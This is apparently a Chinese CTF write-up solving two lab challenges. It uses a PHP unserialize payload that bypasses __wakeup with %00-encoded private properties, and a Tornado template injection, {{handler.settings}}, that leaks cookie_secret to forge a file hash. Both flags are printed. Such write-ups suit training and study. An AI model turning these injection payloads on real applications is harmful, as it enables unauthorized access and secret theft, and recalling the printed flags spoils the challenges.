[极客大挑战 2019]PHP
启动靶机
找到网站所提的备份文件www.zip
/www.zip
发现了三个php文件
先看一下index.php文件
发现包含了class.php,还通过GET传了select参数
再看一下 class.php
可以发现,要想拿到flag,需要使username绝对等于'admin' 。
destruct函数告诉我们需要时password的值等于100。
编写脚本至2.php
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$name = new Name;
print(serialize($name));
?>
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
但是在class.php有个wakeup函数会把username的值改为guest,看了看大佬的wp,把序列化结果中的2改成3即可绕过
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
构造payload:
/index.php?select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
竟然打不开,于是又去看了看大佬的wp,懂了。错误原因:我们从2.php复制过来的序列化结果是html显示的结果,有些字符无法通过html显示,所以右键查看一下www/2.php的源码
发现了我们有几个小方块没有加上,查一下对用url编码
用%00代替小方块重新构造payload
/index.php?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
拿到flag flag{c6456382-dbab-4531-95df-feb10c2f0123}
[护网杯 2018]easy_tornado 1
启动靶机
发现了三个文档,打开看看
/flag.txt
/welcome.txt
/hints.txt
观察/hints.txt的url
/file?filename=/hints.txt&filehash=c304cd212f98c6f2f94c2d2c1a2b16af
随便改下后面filehash的值访问一下
报错了,
1.尝试构造payload拿到cookie_secret
error?msg={{handler.settings}}
'cookie_secret': 'a9d76d8c-f722-4d0b-861e-3ff005de04ea'
2.计算md5(/fllllllllllllag)
3bf9f6cf685a6dd8defadabfb41a03a1
3.计算最终的md5值
md5(a9d76d8c-f722-4d0b-861e-3ff005de04ea3bf9f6cf685a6dd8defadabfb41a03a1)
0143937a3ecbd14e4078cd1369a4e1fd
4.构造最终payload
/file?filename=/fllllllllllllag&filehash=0143937a3ecbd14e4078cd1369a4e1fd
拿到flag flag{6003d68d-c068-45b8-934d-25112d6ff24c}